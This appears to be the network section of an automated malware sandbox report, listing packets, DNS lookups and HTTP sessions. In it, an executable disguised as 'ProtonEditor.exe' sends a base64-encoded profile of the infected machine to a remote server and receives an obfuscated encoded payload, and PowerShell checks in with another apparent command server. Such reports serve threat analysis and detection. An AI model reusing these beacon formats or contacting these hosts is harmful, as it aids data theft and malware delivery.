                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:45.228322983 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:45.228940010 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:45.229199886 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:45.229260921 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:45.281384945 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:45.401056051 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:48.286225080 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:48.405951023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.570274115 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.690045118 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.690366983 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.694538116 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.814136028 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:51.922106981 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:51.933924913 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.053633928 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.598937988 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599031925 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599097967 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599154949 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599220991 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599255085 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599301100 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599333048 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.599364996 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.743211031 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.790420055 CET8049969185.117.73.246192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:52.843786955 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:53.051486015 CET4996980192.168.2.5185.117.73.246
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.688333035 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.688368082 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.688474894 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.690383911 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.690397978 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:46.911832094 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:46.911947966 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:46.924123049 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:46.924144983 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:46.924616098 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:46.968717098 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:47.243731976 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:47.245680094 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:47.245712042 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.872967958 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.873070002 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.873133898 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.874507904 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.874531984 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.874545097 CET49989443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.874556065 CET44349989172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.916409016 CET49990443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.916485071 CET44349990172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.916583061 CET49990443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.916893959 CET49990443192.168.2.5172.67.146.77
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:48.916928053 CET44349990172.67.146.77192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:49.328541040 CET49990443192.168.2.5172.67.146.77

                                                                                                                                                                                                                                                                UDP Packets

                                                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.570681095 CET6142853192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.708193064 CET53614281.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.402947903 CET5600553192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.403460026 CET5837153192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.540072918 CET53560051.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.543680906 CET53583711.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.195715904 CET5026653192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.556241035 CET53502661.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:53.735627890 CET6094653192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:53.957372904 CET53609461.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.345881939 CET5004953192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.673024893 CET53500491.1.1.1192.168.2.5

                                                                                                                                                                                                                                                                DNS Queries

                                                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.570681095 CET192.168.2.51.1.1.10x98d0Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.402947903 CET192.168.2.51.1.1.10x49fcStandard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.403460026 CET192.168.2.51.1.1.10xa0fdStandard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.195715904 CET192.168.2.51.1.1.10x68beStandard query (0)keikochio.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:53.735627890 CET192.168.2.51.1.1.10x8223Standard query (0)qWKLItDJUHsKubZPWAcTdT.qWKLItDJUHsKubZPWAcTdTA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.345881939 CET192.168.2.51.1.1.10xb512Standard query (0)luckersmk.helpA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                DNS Answers

                                                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:13.708193064 CET1.1.1.1192.168.2.50x98d0No error (0)www.google.com142.250.181.132A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.540072918 CET1.1.1.1192.168.2.50x49fcNo error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.540072918 CET1.1.1.1192.168.2.50x49fcNo error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:23.543680906 CET1.1.1.1192.168.2.50xa0fdNo error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.556241035 CET1.1.1.1192.168.2.50x68beNo error (0)keikochio.com185.117.73.246A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:53.957372904 CET1.1.1.1192.168.2.50x8223Name error (3)qWKLItDJUHsKubZPWAcTdT.qWKLItDJUHsKubZPWAcTdTnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.673024893 CET1.1.1.1192.168.2.50xb512No error (0)luckersmk.help172.67.146.77A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                Dec 18, 2024 11:06:45.673024893 CET1.1.1.1192.168.2.50xb512No error (0)luckersmk.help104.21.79.146A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                                                                                                                                • www.google.com
                                                                                                                                                                                                                                                                • chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                                • luckersmk.help
                                                                                                                                                                                                                                                                • 84.200.24.191
                                                                                                                                                                                                                                                                • keikochio.com

                                                                                                                                                                                                                                                                HTTP Packets

                                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                0192.168.2.54980784.200.24.191804072C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:40.553556919 CET641OUTGET /login.php?event=init&id=dGVzdA==&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fMlc3SFBfdHJ1ZV8xMjgweDEwMjRfV2luZG93cyAxMCBQcm9fOTIgbWludXRlcyAoMC41NCBob3VycylfQzpcVXNlcnNcYWxmb25zXzI4NDk5Ml9hbGZvbnNfV2luZG93c19OVF94NjRfMTAuMC4xOTA0NV9DOlxVc2Vyc1xhbGZvbnNcQXBwRGF0YVxSb2FtaW5nX0M6XFVzZXJzXGFsZm9uc1xBcHBEYXRhXExvY2FsXFRlbXBfQUxGT05TLVBDX19JbnRlbDY0IEZhbWlseSA2IE1vZGVsIDE0MyBTdGVwcGluZyA4LCBHZW51aW5lSW50ZWxfQU1ENjRfQzpfMl9DOlxVc2Vyc1xhbGZvbnNcQXBwRGF0YVxMb2NhbFxUZW1wXDJwZ1N2MHZsWWhoZHB2dkd5dHFyQTVJdld6SFxQcm90b25FZGl0b3IuZXhl HTTP/1.1
                                                                                                                                                                                                                                                                Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                                                User-Agent: axios/0.27.2
                                                                                                                                                                                                                                                                Host: 84.200.24.191
                                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930129051 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                Date: Wed, 18 Dec 2024 10:04:41 GMT
                                                                                                                                                                                                                                                                Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                                Data Raw: 31 66 63 30 0d 0a 3d 6f 51 56 46 4e 48 52 43 4a 55 55 42 46 55 51 42 6c 55 51 45 46 32 4c 6e 78 6d 62 30 5a 45 5a 6b 56 56 53 45 6c 6b 55 42 74 30 61 35 56 30 5a 42 42 56 51 42 46 55 51 52 4a 54 4e 31 46 31 4d 73 4e 58 59 58 56 7a 61 61 68 56 53 31 70 46 57 6f 78 32 4e 51 42 44 53 58 5a 6b 54 61 46 6a 65 42 31 30 4e 34 46 31 5a 52 70 6d 51 53 46 6c 56 47 4a 56 56 4d 4a 55 61 52 6c 6c 52 53 4a 31 51 52 74 55 55 57 52 56 55 68 4e 30 55 34 64 57 59 4c 46 55 53 54 6c 30 64 72 5a 55 61 77 4a 45 61 34 70 47 65 45 4a 6d 4d 79 78 6d 61 49 64 57 62 51 52 45 52 76 64 32 51 4c 6c 57 63 58 56 45 56 32 6c 46 52 30 73 30 51 6e 68 57 55 77 56 54 4d 30 64 6a 62 30 45 6b 4e 35 6b 6a 65 7a 67 6a 65 36 5a 33 4c 76 6f 48 57 35 59 31 4d 6d 6c 54 5a 4d 4e 6e 62 4d 42 6c 59 79 30 57 64 32 5a 48 5a 77 56 6e 57 7a 6b 58 62 79 56 55 57 6a 68 6d 51 42 68 56 51 72 42 6a 61 6b 4a 55 57 34 5a 57 65 4d 42 44 57 76 38 43 62 52 4a 44 61 77 52 6d 59 30 77 32 54 30 68 56 61 57 42 58 5a 36 78 30 54 35 49 47 57 54 6c 56 63 52 46 33 53 [TRUNCATED]
                                                                                                                                                                                                                                                                Data Ascii: 1fc0=oQVFNHRCJUUBFUQBlUQEF2Lnxmb0ZEZkVVSElkUBt0a5V0ZBBVQBFUQRJTN1F1MsNXYXVzaahVS1pFWox2NQBDSXZkTaFjeB10N4F1ZRpmQSFlVGJVVMJUaRllRSJ1QRtUUWRVUhN0U4dWYLFUSTl0drZUawJEa4pGeEJmMyxmaIdWbQRERvd2QLlWcXVEV2lFR0s0QnhWUwVTM0djb0EkN5kjezgje6Z3LvoHW5Y1MmlTZMNnbMBlYy0Wd2ZHZwVnWzkXbyVUWjhmQBhVQrBjakJUW4ZWeMBDWv8CbRJDawRmY0w2T0hVaWBXZ6x0T5IGWTlVcRF3SzlUeMRkWwM2R6x0VlZkUBdlRxZTeuhGbrhUYr90c3RjSz9SWZp0NXV2R4RTWx00LVFjTodFRyAFN0IHd6RERxtGRyQzSvoEbEJEe1NlW18iQalGV0hTdCREOPpHOt9ibnZUdUplYUNEWQxUdTVDNTF1VRB3Yyd3aulmUnhmY1kFalZnTxVDTp1GdDxURaBXb3pmQGNVUlNFUGdWaOF1QnZVM4J0QXlkMZNTdKNjTrl0R4QkQFpnSNJkMK9WUKZTdyY0VTx0arhmQYxkY1IjZ3dmZ2kkaDp0MTBXe0QmeHVzTuNTe2ZkWM10ZKNmWQx0U1JkZxZ2L3dUZrUGev4WOxAlRiFVQkJTOGBnQ0gGbYVTUm9Sa6hGdidjURl1RxFUSRNkcQRVO3ADUoFEWml3KpBXSlJHSGVEUidTS3FVetJ0bn9iYrM1Nt1kZthkNntWSlFVdWdkNK9yK042R1k3Sql0VRpGchFVSJR0bI52LulzbOpXSv5kQ3tEUoR1Zo5kWNhVeqJzM4UnTRB1LzczMvwmexQGWxlWbkB3buh2QxIlM48UdwVUN1BHVUZVZGt2SkZTYrBVS1g0VplXdoFTVKFmehZmVQ5Ec4gnVvJ1SodDRRt2ZxBjesRGaIhXNz5Wa2h2RTRHaphnTVNEWTlmdupENqRWTyoGcJB [TRUNCATED]
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930161953 CET224INData Raw: 6d 39 45 61 34 74 30 61 61 35 32 53 31 4a 32 53 32 30 47 64 55 56 7a 51 33 70 56 62 4e 70 33 51 4c 56 6d 56 74 64 33 52 6f 4e 6d 57 45 56 58 64 45 31 30 56 47 6c 6a 51 78 64 32 4c 47 6c 58 57 53 68 6a 62 52 68 7a 61 35 6c 6e 59 70 56 47 62 45 39
                                                                                                                                                                                                                                                                Data Ascii: m9Ea4t0aa52S1J2S20GdUVzQ3pVbNp3QLVmVtd3RoNmWEVXdE10VGljQxd2LGlXWShjbRhza5lnYpVGbE9kSCZ2STF0UwlVaHBnbQ12USh3SUhnWVNlcVhjTiVGNGdzVuVUNWdnSRdUT3RDdQ1Wb3FkaX1WMHNTOll0ShVjeENkVZVUViRFdDplMFFHML9WdjVDM1JWZxBDWRJkYPtGRKdldM9WY2pVT
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930174112 CET1236INData Raw: 73 70 48 65 48 68 7a 64 44 74 53 59 4a 74 6b 55 31 63 31 61 6c 6c 31 55 4c 56 45 52 51 31 57 65 54 35 6d 65 54 56 57 64 4b 4a 6e 51 77 51 46 63 51 64 6d 55 56 52 7a 4c 57 5a 6b 61 36 56 6c 52 51 4e 44 62 69 4a 56 61 73 68 48 54 4a 46 56 4e 30 5a
                                                                                                                                                                                                                                                                Data Ascii: spHeHhzdDtSYJtkU1c1all1ULVERQ1WeT5meTVWdKJnQwQFcQdmUVRzLWZka6VlRQNDbiJVashHTJFVN0ZXS5NTeJp1KwIDM5ZHWaF0KzQGOol1KyFzSws0a4cjYsdzc0YUZ1JXdoRXe6Jkd3cFVXRlexFnN3ZlY0kXZmtkdMFkZhh3UrB1Yx1EOkxEZEJXdQhjWBhzVUZjcqZ1VXlnValnUKplMy1kctFnRy92N0UzS1FnN4xE
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930242062 CET1236INData Raw: 4c 52 54 64 58 70 58 4f 58 4e 55 59 57 4e 6b 54 73 6c 31 4d 76 64 6b 61 78 70 6b 59 30 68 46 62 33 46 6b 53 6a 35 32 61 54 68 6d 4e 6d 4e 6c 53 77 68 56 52 43 56 6d 52 36 6c 6e 56 4c 68 6b 4e 4b 64 58 55 32 74 55 56 69 46 30 52 57 74 6b 4d 71 5a
                                                                                                                                                                                                                                                                Data Ascii: LRTdXpXOXNUYWNkTsl1MvdkaxpkY0hFb3FkSj52aThmNmNlSwhVRCVmR6lnVLhkNKdXU2tUViF0RWtkMqZ3NDRmVqBXTspUNRBDMMFGSWlDZRpEarFGd1Y2bwEnR1AFU0MFevEUdv0GUPdWcwpkT0J1cMlUNhx2cwh1UUJ3ZsZmUQVjSmpXbRpGRnp1TqRTeMtGVMFHTrETSRhESzsEaoJ1YshWWBFzbZR2T4pkVCNUM4RWZRxm
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930254936 CET1236INData Raw: 46 4e 55 4e 72 41 56 54 4a 68 55 56 54 52 47 53 72 64 47 61 30 5a 33 5a 42 42 56 63 6b 46 31 51 4e 42 56 4e 68 39 53 51 59 64 30 55 46 46 48 62 78 67 58 52 58 39 32 53 5a 4a 6b 55 4b 4e 55 61 35 41 48 61 42 4e 55 62 32 4e 47 61 6e 64 46 52 73 42
                                                                                                                                                                                                                                                                Data Ascii: FNUNrAVTJhUVTRGSrdGa0Z3ZBBVckF1QNBVNh9SQYd0UFFHbxgXRX92SZJkUKNUa5AHaBNUb2NGandFRsBzN4EHTpBlQhdzLUtUW0U3dwknNGhkNqdkZGJGVD9mZH9mUBZURXZzcxBHWvYETHZTQZ5kU2RkcaVkc0VXRhRHMahGZBVERvxkMLBTRUZkS5cWcYhnZQFEVTFUaxEVOa50UqVVUThEVyd2Z1E1LhlWaupHawJnMDVz
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930392027 CET1236INData Raw: 77 35 30 55 73 52 55 63 34 68 7a 62 53 78 6b 61 5a 39 55 52 72 6b 6a 4d 75 39 32 5a 76 42 54 55 70 4a 6c 54 53 78 47 53 46 6c 47 5a 70 39 53 61 61 31 57 63 6a 52 6c 52 34 68 31 4e 52 52 45 4d 59 68 6a 55 30 4a 30 61 79 31 6b 57 77 70 57 4f 57 42
                                                                                                                                                                                                                                                                Data Ascii: w50UsRUc4hzbSxkaZ9URrkjMu92ZvBTUpJlTSxGSFlGZp9Saa1WcjRlR4h1NRREMYhjU0J0ay1kWwpWOWBlTT10SNFUVCB3QppEMBB3Vh50aVd1coFVVJRHaoVkdONnSGJjSPBXRFh2UjlmWqtmZmhkc5hHZERVVIhFa5VXY4UFWndTV0N3VpNTQKRTUKRUNydmesl3RGJlMxFVTrInQFNXd3VEcMp2V4JmQxQzZ4VGV1FFdBFl
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930404902 CET1236INData Raw: 49 4a 54 5a 35 4a 55 57 7a 5a 56 64 4a 52 57 56 57 35 45 4f 6c 6c 7a 51 33 35 6d 57 6d 74 30 4e 44 64 6a 59 53 5a 6a 4e 73 4a 6e 51 7a 6b 46 61 55 39 47 61 48 78 6b 5a 48 39 57 53 6e 6c 6a 59 6e 4e 30 63 32 49 31 61 50 70 45 57 51 5a 55 53 79 46
                                                                                                                                                                                                                                                                Data Ascii: IJTZ5JUWzZVdJRWVW5EOllzQ35mWmt0NDdjYSZjNsJnQzkFaU9GaHxkZH9WSnljYnN0c2I1aPpEWQZUSyFUQ6tmR2UnMtdHTIxmWFFXVKFFRopkSPB3dwtWZrRUbltCSXRDTEF2Z4lXV59SYLN0KDpUTvoEOwhmULR2KDh3KrBTasZFSJZ0YlpnTGBTQClmVRJVeTt0Vkhmb4l3dTpkVUNUUBpUbzFlb5FEZ2cFWjd2bCh0byw0
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930428028 CET552INData Raw: 45 64 6d 63 46 39 30 5a 35 49 6b 56 61 74 43 65 4c 68 54 61 54 64 55 54 58 5a 57 51 70 68 6a 56 30 6c 6b 55 76 4e 55 62 79 74 6b 57 30 51 57 64 47 4e 7a 64 78 42 33 5a 46 39 6b 52 4f 4a 7a 64 77 67 6d 64 52 4a 30 5a 46 4e 56 55 31 67 54 54 31 39
                                                                                                                                                                                                                                                                Data Ascii: EdmcF90Z5IkVatCeLhTaTdUTXZWQphjV0lkUvNUbytkW0QWdGNzdxB3ZF9kROJzdwgmdRJ0ZFNVU1gTT19WV5YXc4ZmcIhmNyMGURpHS0pHUs5kZutmVkJWVzMGZxcHc51kcthDVoBFWVV1aod1NOtGRxl1U3RXNkNVVNp2dvcmQrpnSjZkditERBNFU4l3QygWQ1VWSz0kYBNUNRJkdjN3dnZ1bOhXey8maaJlZLF3b4lVVYN0
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930439949 CET1236INData Raw: 69 46 56 62 45 6c 7a 53 44 5a 48 54 70 74 79 4d 4d 31 6d 4d 6f 56 32 56 58 68 6e 59 71 52 33 4d 45 70 48 65 34 67 48 63 30 73 30 4b 76 5a 33 51 4d 52 45 5a 44 56 54 52 47 64 7a 61 4e 74 47 57 77 56 32 63 4b 46 46 62 51 52 58 55 4e 4e 48 4e 35 74
                                                                                                                                                                                                                                                                Data Ascii: iFVbElzSDZHTptyMM1mMoV2VXhnYqR3MEpHe4gHc0s0KvZ3QMREZDVTRGdzaNtGWwV2cKFFbQRXUNNHN5tkbR9WSidEcWZEbM5kZRVEbyoVdCNlWwAXV20003J3MwNnaQ9GazEUcpFjesh2T1MmRhJGM4IDblRVTDt0MzMFRZdmRhpneBd1TnZlUvIFeopHWplGOIF2Mx8UVXNWQEZEbz4kVvI0TGZjS4NlMBd0Nj5mZE1E
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930454969 CET1236INData Raw: 32 55 6d 65 45 56 46 65 74 4e 56 62 58 46 7a 4d 79 4a 6b 53 35 77 30 62 4c 52 31 55 6c 70 6c 51 5a 42 7a 63 32 41 6a 59 34 51 6a 57 42 52 6b 5a 35 64 56 51 50 46 30 53 73 56 31 51 35 4e 47 4f 78 4e 6c 55 58 64 31 54 30 52 46 54 35 74 53 5a 52 52
                                                                                                                                                                                                                                                                Data Ascii: 2UmeEVFetNVbXFzMyJkS5w0bLR1UlplQZBzc2AjY4QjWBRkZ5dVQPF0SsV1Q5NGOxNlUXd1T0RFT5tSZRR1YoNWZwQUbiFkQGNXZLZGOBlGRMFENoNDbjZDNQVjV4UFSWdWSrgXS1ljSlFDa3tUVZ9UNKtmcS9SdvZ1QqVWVaV1cpNTW1JWTnN3YZFUZ5h1NIxESGpEdQVGNuVWUvZHeJR1UydkZ0BjeXZXMJF1bYNUNK92cGJT
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.049846888 CET1236INData Raw: 77 31 55 64 77 56 6a 5a 33 67 33 55 76 46 7a 4b 30 74 30 4b 35 41 6c 53 6e 68 58 57 76 49 30 53 7a 45 56 4f 4b 56 48 55 73 64 54 55 6a 4e 58 53 54 4a 30 4d 30 4d 44 52 42 64 54 4f 46 5a 30 63 7a 46 7a 56 4a 42 58 4f 54 5a 57 5a 30 5a 6b 53 6d 78
                                                                                                                                                                                                                                                                Data Ascii: w1UdwVjZ3g3UvFzK0t0K5AlSnhXWvI0SzEVOKVHUsdTUjNXSTJ0M0MDRBdTOFZ0czFzVJBXOTZWZ0ZkSmxmRQpXeNNner1UeIVnbLR3RqV3Zq52ZxckTUpWSy8GUapkWZZjRyFHUM5maOR2a4c0Ukh0b2hlSwRVenhUW0YDZzIkb5IFdpNmYIJGTjV1TPRjWJBnQUp3aGlnZJN1VTRVTtRzRMxWer5mMSxkS1g2Y2Izd4dFcyUX


                                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                1192.168.2.549969185.117.73.246808104C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:50.694538116 CET207OUTGET /incall.php?compName=user-PC HTTP/1.1
                                                                                                                                                                                                                                                                User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.444.143 Safari/537.36
                                                                                                                                                                                                                                                                Host: keikochio.com
                                                                                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                                                                                Dec 18, 2024 11:05:51.922106981 CET1003INHTTP/1.1 302 Found
                                                                                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                                content-type: text/html
                                                                                                                                                                                                                                                                content-length: 683
                                                                                                                                                                                                                                                                date: Wed, 18 Dec 2024 10:05:51 GMT
                                                                                                                                                                                                                                                                server: LiteSpeed
                                                                                                                                                                                                                                                                cache-control: no-cache, no-store, must-revalidate, max-age=0
                                                                                                                                                                                                                                                                location: http://keikochio.com/cgi-sys/suspendedpage.cgi?compName=user-PC
                                                                                                                                                                                                                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 [TRUNCATED]
